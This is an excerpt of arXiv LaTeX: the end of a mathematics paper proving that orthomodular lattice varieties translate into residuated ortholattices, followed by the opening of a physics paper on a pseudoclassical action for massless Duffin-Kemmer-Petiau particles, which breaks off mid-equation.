For varieties $\W,\mathsf{V}$ of residuated ortholattices, if $\mathsf{V}$ is translatable into $\W$ then deciding equations in $\mathsf{V}$ is no harder than deciding equations in $\W$. In particular, if the equational theory of $\W$ is decidable then the same holds for $\mathsf{V}$.
\end{proposition}
For $\mathbf A\in \rol$ and an $\rol$-term $t$ in $n$-variables, by $t^{\mathbf A}\colon A^n\to A$ we mean the term function of $t$ on $\mathbf A$. If $t$ is a unary term and $\vec a = (a_1,\ldots,a_n)\in A^n$, by $t^{\mathbf A}(\vec a)$ we denote the tuple $(t^{\mathbf A}(a_1),\ldots ,t^{\mathbf A}(a_n))$, in particular we will write $\dblr{\vec a}$ as an abbreviation for $(\dblr x)^{\mathbf A}(\vec a)$, i.e., $\dblr{\vec a}=(\dblr{a_1},...,\dblr{a_n})\in (\omlb{A})^n$.
\begin{lemma}\label{lem:gammaterms}
Let $t$ be a residuated ortholattice term, $\mathbf A\in \rol$, and
$\vec a$ an element of an appropriate power of $A$. Then
$\mathrm{T}(t)^{\mathbf A}(\vec a) = t^{\omlb{\mathbf A}}(\dblr{\vec a})$.
\end{lemma}
\begin{proof}
We proceed by induction on the complexity of $t$. Observe $\mathrm{T}(0)^{\mathbf A} = 0^{\mathbf A}=0^{\omlb{\mathbf A}}$ and $\mathrm{T}(1)^{\mathbf A} = 1^{\mathbf A}=1^{\omlb{\mathbf A}}$ by \Cref{omlA}. If $t$ is a variable $x$, then $\mathrm{T}(x)^{\mathbf A}(a)=(\dblr x)^{\mathbf A}(a)=\dblr a = x^{\omlb{\mathbf A}}(\dblr a)$ by definition.
Now suppose the claim holds for terms $r$ and $s$. If $t=r\star s$ where $\star\in \{\wedge,\vee,\backslash \},$ then
$$\begin{array}{ r c l l}
\mathrm{T}(r\star s)^{\mathbf A}(\vec a)
& =& [\mathrm{T}(r)\star \mathrm{T}(s)]^{\mathbf A}(\vec a)&\mbox{Def. of $\mathrm{T}(-)$}\\
& =& \mathrm{T}(r)^{\mathbf A}(\vec a)\star^{\mathbf A} \mathrm{T}(s)^{\mathbf A}(\vec a)&\\
&=& r^{\omlb{\mathbf A}}(\dblr{\vec a}) \star^{{\mathbf A}} s^{\omlb{\mathbf A}}(\dblr{\vec a}) &\mbox{Inductive hypothesis}\\
&=& r^{\omlb{\mathbf A}}(\dblr{\vec a}) \star^{\omlb{\mathbf A}} s^{\omlb{\mathbf A}}(\dblr{\vec a}) & \mbox{\Cref{lem:dblr}, \Cref{omlA}(3)}\\%
&=&(r\star s)^{\omlb{\mathbf A}}(\dblr{\vec a}).
\end{array}$$
Essentially the same argument establishes the case for $t=\neg s$. This completes the proof.
\end{proof}
If $\mathsf{V}$ is a variety and $E$ is a set of equations in the language of $\mathsf{V}$, we denote the subvariety of $\mathsf{V}$ axiomatized by $E$ by $\mathsf{V}+E$.
\begin{lemma}\label{target of translation}
Let $E$ be a set of equations in the language of ROLs, and set $\mathsf{V}={\sf OML}+E$ and $\W=\rol+\mathrm{T}[E]$. Then:
\begin{enumerate}[\quad(1)]
\item $\mathsf{V}$ is a subvariety of $\W$.
\item If ${\mathbf A}\in\W$, then $\dblr{\mathbf A}\in\mathsf{V}$.
\end{enumerate}
\end{lemma}
\begin{proof}
We first prove (1). Clearly $\mathsf{V}$ is a subvariety of $\sf ROL$, so it suffices to show that if ${\mathbf A}\in\mathsf{V}$ and $(u\approx v)\in E$, then ${\mathbf A}$ satisfies $\mathrm{T}(u)\approx \mathrm{T}(v)$. Let $\vec a$ be a tuple in an appropriate power of $A$, and note that $\dblr{\vec a}={\vec a}$ and $\dblr{\mathbf A} = {\mathbf A}$ from \Cref{cor:OmlRol}. By hypothesis $u^{{\mathbf A}}({\vec a}) = v^{{\mathbf A}}({\vec a})$, so $u^{\dblr{\mathbf A}}(\dblr{\vec a}) = v^{\dblr{\mathbf A}}(\dblr{\vec a})$. It follows from \Cref{lem:gammaterms} that $\mathrm{T}(u)^{\mathbf A}({\vec a})=\mathrm{T}(v)^{\mathbf A}({\vec a})$, so ${\mathbf A}$ satisfies $\mathrm{T}(u)\approx\mathrm{T}(v)$ as desired.
Now for (2), let ${\mathbf A}\in\W$ and suppose that $(u\approx v)\in E$. Then ${\mathbf A}$ satisfies $\mathrm{T}(u)\approx \mathrm{T}(v)$. If ${\vec a}$ is a tuple from an appropriate power of $\dblr{A}$, then as before ${\vec a} = \dblr{\vec a}$ by \Cref{cor:OmlRol}. By hypothesis we have $\mathrm{T}(u)^{\mathbf A}({\vec a})=\mathrm{T}(v)^{\mathbf A}({\vec a})$, and by \Cref{lem:gammaterms} we get $u^{\dblr{\mathbf A}}({\vec a})=u^{\dblr{\mathbf A}}(\dblr{\vec a})=v^{\dblr{\mathbf A}}(\dblr{\vec a})=v^{\dblr{\mathbf A}}({\vec a})$. It follows that $\dblr{\mathbf A}$ satisfies $u\approx v$, so it follows that $\dblr{\mathbf A}\in\mathsf{V}$.
\end{proof}
\begin{theorem}\label{main translation}
Let $\mathsf{V}={\sf OML}+E$, let $\W=\rol+\mathrm{T}[E]$, and suppose that $\U$ is a subvariety of ROLs such that $\mathsf{V}\subseteq\U\subseteq\W$. Then $\mathsf{V}$ is translatable into $\U$.
\end{theorem}
\begin{proof}
Let $D\cup \{s\approx t\}$ be a set of equations in the language of ROLs, and suppose first that $D\models_{\mathsf{V}} s\approx t$. Let ${\mathbf A}\in\U$ and let $\vec a$ be a tuple of elements of the appropriate power of $A$ such that $\mathrm{T}(u)^{\mathbf A}({\vec a}) = \mathrm{T}(v)^{\mathbf A}({\vec a})$ holds for each equation $(u\approx v)\in D$. Then by \Cref{lem:gammaterms} we have $u^{\dblr{\mathbf A}}(\dblr{\vec a})=v^{\dblr{\mathbf A}}(\dblr{\vec a})$ for each $(u\approx v)\in D$. Since ${\mathbf A}\in\U\subseteq\W$, \Cref{target of translation}(2) gives $\dblr{\mathbf A}\in\mathsf{V}$. The hypothesis then implies $s^{\dblr{\mathbf A}}(\dblr{\vec a})=t^{\dblr{\mathbf A}}(\dblr{\vec a})$, and again applying \Cref{lem:gammaterms} yields that $\mathrm{T}(s)^{\mathbf A}({\vec a})=\mathrm{T}(t)^{\mathbf A}({\vec a})$. It follows that $\mathrm{T}[D]\models_{\U} T(s)\approx T(t)$ as desired.
For the converse, suppose that $\mathrm{T}[D]\models_{\U} T(s)\approx T(t)$. Let ${\mathbf A}\in\mathsf{V}$, let $\vec a$ be a tuple from a suitably-chosen power of $A$, and suppose that $u^{\mathbf A}({\vec a})=v^{\mathbf A}({\vec a})$ for all $(u\approx v)\in D$. As before we have ${\vec a}=\dblr{\vec a}$ and ${\mathbf A}=\dblr{\mathbf A}$, which implies $u^{\dblr{\mathbf A}}(\dblr{\vec a})=v^{\dblr{\mathbf A}}(\dblr{\vec a})$. \Cref{lem:gammaterms} then gives $\mathrm{T}(u)^{\mathbf A}({\vec a})=\mathrm{T}(v)^{\mathbf A}({\vec a})$ for each $(u\approx v)\in D$. Since $\mathsf{V}\subseteq\U$ we have ${\mathbf A}\in\U$, so the assumption gives $\mathrm{T}(s)^{\mathbf A}({\vec a})=\mathrm{T}(t)^{\mathbf A}({\vec a})$. A final application of \Cref{lem:gammaterms} gives $s^{\dblr{\mathbf A}}(\dblr{\vec a})=t^{\dblr{\mathbf A}}(\dblr{\vec a})$, so $s^{\mathbf A}({\vec a})=t^{\mathbf A}({\vec a})$. It follows that $D\models_{\mathsf{V}} s\approx t$, and this establishes that $\mathsf{V}$ is translatable into $\U$.
\end{proof}
In particular, we obtain the following consequence of \Cref{main translation}.
\begin{corollary}
If $\mathsf{V}$ is a subvariety of $\sf OML$ axiomatized relative to orthomodular lattices by a set $E$ of equations, then $\mathsf{V}$ is translatable into $\rol + \mathrm{T}[E]$. In particular, $\sf OML$ is translatable into $\rol$.
\end{corollary}
Specializing \Cref{decid} in light of \Cref{main translation}, we get the following.
\begin{corollary}
${\sf OML}$ has a decidable equational theory if any variety of residuated ortholattices that contains it has a decidable equational theory.
\end{corollary}
Of course, via \Cref{thm:algebraizable} these results may be exported to the assertional logics that are algebraized by the varieties mentioned above. However, we do not further pursue that line of inquiry here.
\bibliographystyle{eptcs}
|
1,477,468,750,072 | arxiv | \section{Introduction}
Investigations of particle systems with arbitrary spin was initially given
by Bargmann-Wigner \cite{Bargmann} and Rarita-Schwinger \cite{Rarita}, here
the Dirac representations of the spin one half particles are the basis to
the construction of higher spin theories. The formalism is based on the
bispinor wave function with $2s$ Dirac indices (for spin $s$) and the total
symmetrical representation is used to study the maximum spin value of the
model.
On the other hand, the first ideas about the studies of classical
systems that include in the phase space both commuting and
anticommuting variables (pseudoclassical mechanics) was put forward
by Schwinger \cite{Schwinger} in 1953. However it was Martin
\cite{Martin} who achieved these ideas in 1959. Later in the Berezin
and Marinov works \cite{Berezin} a model for the description of spin
one half particles was proposed, here the consistent formulation of
the relativistic particle dynamics implies in the addition of a new
constraint, this is because the formulation of the massive case has
five grassmann variables. At the same time these models were also
studied by Casalbuoni \cite{Casalbuoni} who explored the internal
group symmetry and the gauge invariance of the resulting action. In
this way was possible the description of spinless and spin one
particles using these internal symmetries. Interaction of spinning
particle systems with external Yang-Mills and gravitational fields
was investigated in \cite{Casalbuoni1}. The quantization of similar
models are performed by means of the Dirac procedure for constrained
systems.
Many other papers appeared about the study of spinning particles in the
framework of pseudoclassical mechanics, for example the derivation of the
equation of motions for the massive and massless spinning particles are
treated in the works \cite{Brink1, Brink, Gershun1, Gershun2}, where the
spin description is achieved by means of the inclusion of internal group
symmetries. Similarly, the case of the Dirac particle is discussed in the
works \cite{Galvao, Gitman, Zlatev}. A path integral representation for
obtaining a Dirac propagator was also obtained in \cite{Fainberg1} and other
studies connecting the pseudoclassical mechanics with the string theory was
investigated \cite{Marshakov} for the free case as {in interacting with an
external field}. Also, the pseudoclassical description of massless Weyl
fermions and its path integral quantization when coupled to Yang-Mills and
gravitational fields was studied in \cite{new1}. Similarly, the path
integral quantization of spinning particles interacting with external
electromagnetic field was analyzed in \cite{new2}.
Besides this, the pseudoclassical approach can be applied to other different
models. This is the case of the Duffin-Kemmer-Petiau (DKP) theory \cite%
{Duffin, Kemmer, Petiau} which describes massive spin $0$ and spin $1$
particles in a unified representation. Questions about the equivalence of
the DKP theory with theories like Klein-Gordon and Maxwell are discussed in
\cite{Fainberg0, Fainberg01, Fainberg2} (a good historical review of the DKP
theory can be found in \cite{Krajcik, Krajcik1}). {The Field theory of the
massless DKP has a local gauge symmetry which describes the electromagnetic
field in its spin 1 sector. It is important to notice that the massless case
can not be obtained through the limit} $m\rightarrow 0$ {of the massive
case. This is due to the fact that the projections of DKP field into spin 0
and 1 sectors involve the mass as a multiplicative factor \cite{Casana1} so
that taking the limit} $m\rightarrow 0$ {makes the results previously
obtained useless. Moreover, if we simply make mass equal to zero in the
usual massive DKP Lagrangian we obtain a Lagrangian with no local gauge
symmetry}. Studies in the Riemann-Cartan space time was proposed in \cite%
{Casana, Casana0,Casana1}.
Recently, a super generalization of the DKP algebra was done by Okubo \cite%
{Okubo} where the starting point is the study of all irreducible
representations by means of the Lie algebra $so(1,4)$ \cite{Fishbach},
moreover, a paraDKP (PDKP) algebra is constructed intimately related to the
Lie superalgebra $osp(1,4),$ obtaining as result the super DKP algebra that
contains the boson and fermion representations.
An extended variant including Grassmann variables for the DKP theory is very
interesting for many reasons, for example a pseudoclassical version allow us
to make an attempt to the construction of a supersymmetry variant of the
theory where the action must be expressed in terms of (super)fields. It is
also no clear about the particle states that will compose the
(super)multiplet in this theory.
In this work we propose a possible action for the massless DKP theory in the
pseudoclassical approach. In section \textbf{2}, the pseudoclassical action
is given including the correct boundary terms that yields a consistent
equations of motions. We carry out the constraint analysis of the system and
verify his invariance under $\tau $-reparametrizations, internal group $O(N)$
and SUSY transformations. We find the generators of corresponding
transformations and give the Pauli-Lubanski vector. In section \textbf{3},
the quantization is performed and proved that for the special case $N=2$ the
both sectors of spin 0 and spin 1 of the DKP theory appear. We get the
scalar and vectorial field as a first result, we also obtain the topological
field solutions correspondent to the both spin sectors. In Section \textbf{4}%
, using the SUSY principles we extend the proposed action to the Superspace
formalism obtaining a consistent result as in the pseudoclassical model.
Finally in section \textbf{5}, we give our conclusions and comments.
\section{Pseudoclassical Mechanics}
We start with the action in the first order formalism that considers an
internal group symmetry
\begin{equation}
S=\int\limits_{\tau _{1}}^{\tau _{2}}d\tau \left[ \left( \overset{.}{x}%
-i\chi \psi \right) p+\frac{e}{2}p^{2}+\frac{i}{2}\psi \dot{\psi }+\frac{i}{2%
}f\psi \psi \right] +\frac{i}{2}\psi \left( \tau _{2}\right) \psi \left(
\tau _{1}\right) \label{p1}
\end{equation}
here $x_{\mu }$ is the space time coordinate, $p_{\mu }$ the auxiliary
momentum vector; $\psi _{\mu }^{k}\left( \tau \right) -k,l,...=1,2,...N$ are
the fermion coordinates, superpartner of $x_{\mu }\left( \tau \right) $, $%
\left( x_{\mu },\psi _{\mu }^{k}\right) $ is the multiplet of matter; $%
e\left( \tau \right) $ is the \textit{einbein}, his superpartner $\chi
_{k}\left( \tau \right) $ is the unidimensional gravitino; $f_{ik}\left(
\tau \right) =-f_{ki}\left( \tau \right) $ is the gauge field for internal
symmetry, $\left( e,\chi _{k},f_{ik}\right) $ is the supergravitational
multiplet on the world line.
The action (\ref{p1}) includes the correct boundary terms that guarantee the
consistence of the equations of motions for the grassmann variables. This is
because in the variational principle the fermionic canonical coordinates
have only one condition
\begin{equation}
\delta \left( \psi \left( \tau _{2}\right) +\psi \left( \tau _{1}\right)
\right) =0 \label{p2}
\end{equation}
for the other coordinates only the space time coordinate is restricted to
the condition
\begin{equation}
\delta x\left( \tau _{2}\right) =\delta x\left( \tau _{1}\right) =0
\label{p3}
\end{equation}
internal group indices in the case $N=2$ when $i,k=1,2$ are contracted by
means of symbol Kroeneker $\delta _{ik}$ (for the group $O\left( 2\right) $
and spin $1$) or Levi-Civita symbol $\epsilon _{ik}$ (for the group $%
Sp\left( 1\right) $ and spin $0$).
The lagrangian that follows from (\ref{p1}) is
\begin{equation}
\mathcal{L}=\left( \dot{x}-i\chi \psi \right) p+\frac{e}{2}p^{2}+\frac{i}{2}%
\psi \dot{\psi }+\frac{i}{2}f\psi \psi \label{p4}
\end{equation}
It is possible to write the action (\ref{p1}) in a different way, for this
we perform the variation of $S$\ with respect to $p$, then we get the
following equation
\begin{equation}
p=-e^{-1}\left( \dot{x}-i\chi \psi \right) \label{p4a}
\end{equation}
inserting this solution into (\ref{p1}) we obtain the second order formalism
of the action
\begin{eqnarray}
S &=&\int\limits_{\tau _{1}}^{\tau _{2}}d\tau \left[ -\frac{e^{-1}}{2}\left(
\dot{x}^{2}-2i\dot{x}\chi \psi -\left( \chi \psi \right) ^{2}\right) +\frac{i%
}{2}\psi \dot{\psi }+\frac{i}{2}f\psi \psi \right] \notag \\
&&+\frac{i}{2}\psi \left( \tau _{2}\right) \psi \left( \tau _{1}\right)
\label{p4b}
\end{eqnarray}
then the lagrangian that follows from (\ref{p4b}) is
\begin{equation}
\mathcal{L=}-\frac{e^{-1}}{2}\left( \dot{x}^{2}-2i\dot{x}\chi \psi -\left(
\chi \psi \right) ^{2}\right) +\frac{i}{2}\psi \dot{\psi }+\frac{i}{2}f\psi
\psi \label{p4c}
\end{equation}
the term $\left( \chi \psi \right) ^{2}=\chi _{i}\psi _{i}\chi _{k}\psi _{k}$
appears because an internal group symmetry $O(N)$ was introduced in the
theory.
Both formulations (\ref{p1}) and (\ref{p4b}) are equivalent and as we will
see later the constraint analysis gives the same result.
Equations of motions that follow from the action (\ref{p1}) result in
\begin{equation*}
p_{\mu }\psi _{k}^{\mu }=0,\quad \psi _{\mu i}\psi _{k}^{\mu }=0,\quad \dot{%
\psi }_{k}^{\mu }=-p^{\mu }\chi _{k}+f_{ik}\psi _{i}^{\mu },\quad \dot{p}=0
\end{equation*}
we can see that for a special case $e=1,$ $\chi =f=0$ we obtain the
solutions
\begin{equation*}
x_{\mu }\left( \tau \right) =x_{\mu }\left( 0\right) +p_{\mu }\tau ,\quad
\psi _{k}^{\mu }=const.
\end{equation*}
\subsection{Constraint Analysis}
Now we proceed to the constraint analysis of the theory. Using the
definition for the canonical momentum: $p_{a}=\frac{\overleftarrow{\partial }%
\mathcal{L}}{\partial \dot{q}^{a}},$ we obtain
\begin{eqnarray}
p_{\mu } &=&\frac{\partial \mathcal{L}}{\partial \dot{x}^{\mu }}=p_{\mu
};\quad \pi _{\mu }^{k}=\frac{\partial \mathcal{L}}{\partial \overset{.}{%
\psi }_{k}^{\mu }}=\frac{i}{2}\psi _{\mu }^{k} \label{p5} \\
\pi &=&\frac{\partial \mathcal{L}}{\partial \dot{e}^{\mu }}=0;\quad \pi ^{k}=%
\frac{\partial \mathcal{L}}{\partial \dot{\chi }_{k}}=0;\quad \pi ^{ik}=%
\frac{\partial \mathcal{L}}{\partial \dot{f}_{ik}}=0 \notag
\end{eqnarray}
from which a set of primary constraints appears
\begin{eqnarray}
\Omega _{\mu }^{k} &=&\pi _{\mu }^{k}-\frac{i}{2}\psi _{\mu }^{k}\approx
0,\quad \Omega _{\pi }=\pi \approx 0,\quad \Omega ^{k}=\pi ^{k}\approx
0,\quad \Omega ^{ik}=\pi ^{ik}\approx 0 \notag \\
&& \label{p6}
\end{eqnarray}
following the standard Dirac procedure for a theory with constraints we
construct the primary hamiltonian from the lagrangian (\ref{p4}), $\mathcal{H%
}=p_{a}\dot{q}^{a}-\mathcal{L}$,
\begin{equation}
\mathcal{H}^{(1)}=i\chi _{k}\psi _{k}^{\mu }p_{\mu }-\frac{e}{2}p^{2}-\frac{i%
}{2}f_{ik}\psi _{\mu i}\psi _{k}^{\mu }+\lambda ^{a}\Omega _{a} \label{p6a}
\end{equation}
where we have included the primary constraints (\ref{p6}), $\lambda
^{a}=\left\{ \lambda _{\mu }^{k},\lambda _{\pi },\lambda ^{k},\lambda
^{ik}\right\} $ are the lagrange multipliers. When we apply the stability
conditions on the primary constraints \
\begin{equation}
\dot{\Omega }_{a}=\left\{ \Omega _{a},\mathcal{H}^{(1)}\right\} _{PB}=0
\label{p7}
\end{equation}
we obtain a new set of secondary constraints
\begin{equation}
\Omega _{\pi }^{(2)}=\frac{1}{2}p^{2}\approx 0,\quad \Omega _{k}^{(2)}=i\psi
_{k}^{\mu }p_{\mu }\approx 0,\quad \Omega _{ik}^{(2)}=i\psi _{\mu i}\psi
_{k}^{\mu }\approx 0 \label{p8}
\end{equation}
the conservation of these secondary constraints in time tell us that no more
constraints appear in the theory. \ Next the constraint classification gives
the following first class
\begin{eqnarray}
\Omega _{\pi }^{(2)} &=&\frac{1}{2}p^{2}\approx 0 \label{p9} \\
\Omega _{k}^{(2)} &=&i\psi _{k}^{\mu }p_{\mu }\approx 0 \label{p10} \\
\Omega _{ik}^{(2)} &=&i\psi _{i}^{\mu }\psi _{k}^{\mu }\approx 0 \label{p11}
\end{eqnarray}
and the second class constraints
\begin{equation}
\Omega _{\mu }^{k}=\pi _{\mu }^{k}-\frac{i}{2}\psi _{\mu }^{k}\approx 0
\label{p12}
\end{equation}
with the help of the second class constraints we construct the Dirac Bracket
(DB) between the canonical variables and obtain
\begin{equation}
\left\{ \psi _{\mu }^{i},\psi _{\nu }^{k}\right\} _{DB}=-i\delta ^{ik}g_{\mu
\nu },\quad \left\{ x_{\mu },p_{\nu }\right\} _{DB}=g_{\mu \nu } \label{p13}
\end{equation}
\subsection{Invariance}
In the theory with the action (\ref{p4b}), we have three gauge
transformations that do not change their physical sense. The $\tau$%
-reparametrization
\begin{eqnarray}
\delta x &=&\varepsilon \dot{x},\quad \delta \psi =\varepsilon \dot{\psi }
\label{in1} \\
\delta e &=&\left( \varepsilon e\right) ^{.},\quad \delta \chi =\left(
\varepsilon \chi \right) ^{.},\quad \delta f=\left( \varepsilon f\right) ^{.}
\notag
\end{eqnarray}
the invariance under local internal symmetries $O\left( N\right) $%
\begin{eqnarray}
\delta x &=&0,\quad \delta \psi =a\psi \label{in2a} \\
\delta e &=&0,\quad \delta \chi =a\chi ,\quad \delta f=\dot{a}+af-fa \notag
\end{eqnarray}
and the invariance under local $\left( n=1\right) $ SUSY transformations
\begin{eqnarray}
\delta x &=&i\alpha \psi ,\quad \delta \psi =e^{-1}\alpha \left( \dot{x}%
-i\chi \psi \right) \label{in3} \\
\delta e &=&2i\alpha \chi ,\quad \delta \chi =\dot{\alpha }-f\alpha ,\quad
\delta f=0 \notag
\end{eqnarray}
It is interesting to commute two local $\left( n=1\right)$ SUSY
transformations. This gives
\begin{eqnarray}
\left[ \delta _{\alpha },\delta _{\beta }\right] x &=&\delta _{\varepsilon
_{0}}\dot{x}+\delta _{a_{0}}x+\delta _{\alpha _{0}}x \label{in4} \\
\left[ \delta _{\alpha },\delta _{\beta }\right] \psi &=&\delta
_{\varepsilon _{0}}\dot{\psi }+\delta _{a_{0}}\psi +\delta _{\alpha _{0}}\psi
\\
\left[ \delta _{\alpha },\delta _{\beta }\right] e &=&\delta _{\varepsilon
_{0}}\dot{e}+\delta _{a_{0}}e+\delta _{\alpha _{0}}e \\
\left[ \delta _{\alpha },\delta _{\beta }\right] \chi &=&\delta
_{\varepsilon _{0}}\dot{\chi }+\delta _{a_{0}}\chi +\delta _{\alpha _{0}}\chi
\\
\left[ \delta _{\alpha },\delta _{\beta }\right] f &=&\delta _{\varepsilon
_{0}}\dot{f}+\delta _{a_{0}}f+\delta _{\alpha _{0}}f
\end{eqnarray}
where the new parameters are now field dependent
\begin{equation}
\varepsilon _{0}=2ie^{-1}\alpha \beta ,\quad \alpha _{0}=-\varepsilon
_{0}\chi ,\quad a_{0}=-\varepsilon _{0}f \label{in5}
\end{equation}
this shows that there is no simple gauge group structure, although the
invariance is still enough to secure good physical properties of the action.
The invariance of the action (\ref{p4b}) is reached if we impose the
conditions at the endpoints for the parameters
\begin{equation}
\varepsilon \left( \tau _{1}\right) =\varepsilon \left( \tau _{2}\right)
=0,\quad \alpha \left( \tau _{1}\right) =\alpha \left( \tau _{2}\right) =0
\label{in6}
\end{equation}
On the other hand it is possible to find the generators of the
transformations (\ref{in1})-(\ref{in3}). We follow the work of Casalbuoni
\cite{Casalbuoni} where the generators of the transformations $F$ are given
by
\begin{equation}
F=p_{a}\delta q^{a}-\varphi ,\quad \delta L=\frac{d\varphi }{d\tau }
\label{in7}
\end{equation}
being $\varphi $ the generating function. To verify the correctness of found
generators we use
\begin{equation}
\delta u=\left\{ u,\epsilon F\right\} _{DB} \label{in7a}
\end{equation}
where $\epsilon $ is the parameter of a given transformation.
We find for the $\tau$-reparametrizations
\begin{eqnarray}
F &=&i\chi \psi p-\frac{e}{2}p^{2}-\frac{i}{2}f\psi \psi \label{in8a} \\
\left\{ x^{\mu },\varepsilon F\right\} _{DB} &=&\varepsilon \dot{x}^{\mu
},\quad \left\{ \psi _{k}^{\mu },\varepsilon F\right\} _{DB}=\varepsilon
\dot{\psi }_{k}^{\mu } \label{in8b}
\end{eqnarray}
internal $O\left( N\right) $ symmetries
\begin{eqnarray}
F_{ik} &=&\frac{i}{2}\psi _{i}^{\mu }\psi _{\mu k}+\chi _{i}\pi _{k}
\label{in9a} \\
\left\{ x^{\mu },aF\right\} _{DB} &=&0,\quad \left\{ \psi _{i}^{\mu
},aF\right\} _{DB}=a_{ik}\psi _{k}^{\mu },\quad \left\{ \chi _{i},aF\right\}
_{DB}=a_{ik}\chi _{k} \label{in9b}
\end{eqnarray}
and SUSY transformations
\begin{eqnarray}
F_{k} &=&ip_{\mu }\psi _{k}^{\mu }+2i\chi _{k}\pi \label{in10a} \\
\left\{ x^{\mu },\alpha F\right\} _{DB} &=&i\alpha _{k}\psi _{k}^{\mu
},\quad \left\{ \psi ,\alpha F\right\} _{DB}=e^{-1}\alpha \left( \dot{x}%
-i\chi \psi \right) \label{in10b} \\
\left\{ e,\alpha F\right\} _{DB} &=&2i\alpha \chi
\end{eqnarray}
To close the invariance we remark that the proposed theory is also invariant
under Poincar\'e transformations, i.e.
\begin{equation}
\delta x^{\mu }=\omega^{\mu }{}_{\nu }x^{\nu }+\epsilon ^{\mu },\quad \delta
\psi _{k}^{\mu }=\omega^{\mu }{}_{\nu }\psi _{k}^{\nu },\quad \delta
e=\delta \chi =\delta f=0 \label{in11}
\end{equation}
with the generators
\begin{equation}
\epsilon ^{a}F_{a}=\epsilon ^{\mu }P_{\mu }+\frac{1}{2}\omega ^{\mu \nu
}M_{\mu \nu } \label{in12}
\end{equation}
where
\begin{equation}
M_{\mu \nu }=L_{\mu \nu }+S_{\mu \nu },\quad L_{\mu \nu }=x_{\nu }p_{\mu
}-x_{\mu }p_{\nu },\quad S_{\mu \nu }=i\psi _{\mu }^{k}\psi _{\nu }^{k}
\label{in13}
\end{equation}
in this way is constructed the Pauli-Lubanski vector
\begin{equation}
W_{\mu }=\frac{1}{2}\epsilon _{\mu \nu \lambda \rho }P^{\nu }M^{\lambda \rho
},\quad W^{2}=\frac{1}{2}\left( P^{2}S^{2}+2\left( S_{\mu \nu }P^{\nu
}\right) ^{2}\right) \label{in14}
\end{equation}
\section{Quantization}
The constraint analysis which was done before takes a physical sense when
the quantization is performed and a coherent interpretation of the equation
of motions is given.
With the quantization the canonical variables becomes operators
\begin{equation}
x_{\mu }\rightarrow \widehat{x}_{\mu },\quad p_{\mu }\rightarrow \widehat{p}%
_{\mu },\quad \psi _{\mu }^{i}\rightarrow \widehat{\psi }_{\mu }^{i}
\label{q1}
\end{equation}
and the DB follows the commutator or anticommutator rules
\begin{equation}
\left\{ \widehat{\quad }\right\} \rightarrow i\hbar \left\{ \quad \right\}
_{DB} \label{q2}
\end{equation}
thus we have the following commutation relations
\begin{equation}
\left\{ \widehat{\psi }_{\mu }^{i},\widehat{\psi }_{\nu }^{k}\right\} =\hbar
\delta ^{ik}g_{\mu \nu },\quad \left[ \widehat{x}_{\mu },\widehat{p}_{\mu }%
\right] =i\hbar g_{\mu \nu } \label{q3}
\end{equation}
We pick out a general realization for the operator $\widehat{\psi }_{\mu
}^{k}$ satisfying the relation (\ref{q3}) and the equations of motions
\begin{equation}
D\left( \widehat{\psi }_{\mu }^{k}\right) =S\left( Y\right) \left( \left(
\gamma _{5}\right) ^{\otimes \left( k-1\right) }\otimes \gamma _{\mu }\gamma
_{5}\otimes I^{\otimes \left( N-k\right) }\right) \label{q4}
\end{equation}
here $S(Y)$ is the Young symmetrization operator, $\gamma _{\mu }$ are the
Dirac matrices and $\gamma _{5}$ is given by
\begin{equation}
\gamma _{5}=i\gamma _{0}\gamma _{1}\gamma _{2}\gamma _{3},\quad \left(
\gamma _{5}\right) ^{2}=1 \label{q5}
\end{equation}
The first class constraints are applied into the vector state $\left| \Phi
\right\rangle \equiv \left| \Phi \right\rangle _{\alpha _{1}...\alpha _{N}}$%
. We recall that an internal group symmetry $O(N),$ where $i,k,...=1,2,...,N$%
, is considered in the Lagrangian (\ref{p1}). Thus we obtain
\begin{eqnarray}
p^{2}\left| \Phi \right\rangle _{\alpha _{1}...\alpha _{N}} &=&0 \label{q6}
\\
p^{\mu }\gamma _{\mu }^{k}\left| \Phi \right\rangle _{\alpha _{1}...,\alpha
_{k},...\alpha _{N}} &=&0 \label{q7} \\
\gamma ^{\mu i}\gamma _{\mu }^{k}\left| \Phi \right\rangle _{\alpha
_{1}...,\alpha _{i},...,\alpha _{k},...\alpha _{N}} &=&0 \label{q8}
\end{eqnarray}
the first equation is the mass shell condition in the case of a massless
particle. The second one is a set of linear equations for every Dirac
indices where no symmetrization on the vector state $\left| \Phi
\right\rangle $ is assumed. However when the symmetrization over the vector
state is taken into account, (\ref{q7}) becomes the Bargmann-Wigner \cite%
{Bargmann} equation for a particle with spin $N/2$. The total symmetrical
part of $\left| \Phi \right\rangle $ generates a representation with the
higher spin value. In our case, the third equation is a projector of the
representations of DKP theory, i.e., it separates out a particular spin
representation of the vector state.
In the particular choose: $i,k=1,2,$ i.e. when the internal group symmetry
is $O(2)$, (\ref{q6})-(\ref{q8}) reproduce de DKP equations for massless
particles with spin $0$ and $1$. In this case the realization (\ref{q4})
becomes
\begin{equation}
D\left( \widehat{\psi }_{\mu }^{1}\right) =i\sqrt{\frac{\hbar }{2}}\left(
\gamma _{\mu }\gamma _{5}\otimes 1\right) ,\quad D\left( \widehat{\psi }%
_{\mu }^{2}\right) =i\sqrt{\frac{\hbar }{2}}\left( \gamma _{5}\otimes \gamma
_{\mu }\gamma _{5}\right) \label{q8a}
\end{equation}
Let's take only two Dirac indices in the vector state $\left\vert \Phi
\right\rangle _{\alpha _{1}\alpha _{2}}$, then using a complete set of Dirac
matrices we decompose $\left\vert \Phi \right\rangle _{\alpha _{1}\alpha
_{2}}$ as follows \cite{Valeri}
\begin{eqnarray}
\left\vert \Phi \right\rangle _{\alpha _{1}\alpha _{2}} &=&a\left( \gamma
^{5}C\right) _{\alpha _{1}\alpha _{2}}\zeta _{5}+a_{1}\left( \gamma
^{5}\gamma ^{\mu }C\right) _{\alpha _{1}\alpha _{2}}\zeta _{5\mu
}+a_{2}C_{\alpha _{1}\alpha _{2}}\zeta \notag \\
&&+b\left( \gamma ^{\mu }C\right) _{\alpha _{1}\alpha _{2}}\left( \zeta
_{\mu }\right) +b_{1}\left( \Sigma ^{\mu \nu }C\right) _{\alpha _{1}\alpha
_{2}}\zeta _{\mu \nu } \label{q9}
\end{eqnarray}
here $a,a_{1},b,b_{1}$ and $a_{2}$ must be considered as free parameters and
will be adjusted to assure the correctness of the final equations. The term:
$C_{\alpha _{1}\alpha _{2}}\zeta $, is referred to a trivial representation
and we do not consider it, therefore, we set $a_{2}=0.$
We also have
\begin{equation}
\Sigma ^{\mu \nu }=\frac{1}{2}\left( \gamma ^{\mu }\gamma ^{\nu }-\gamma
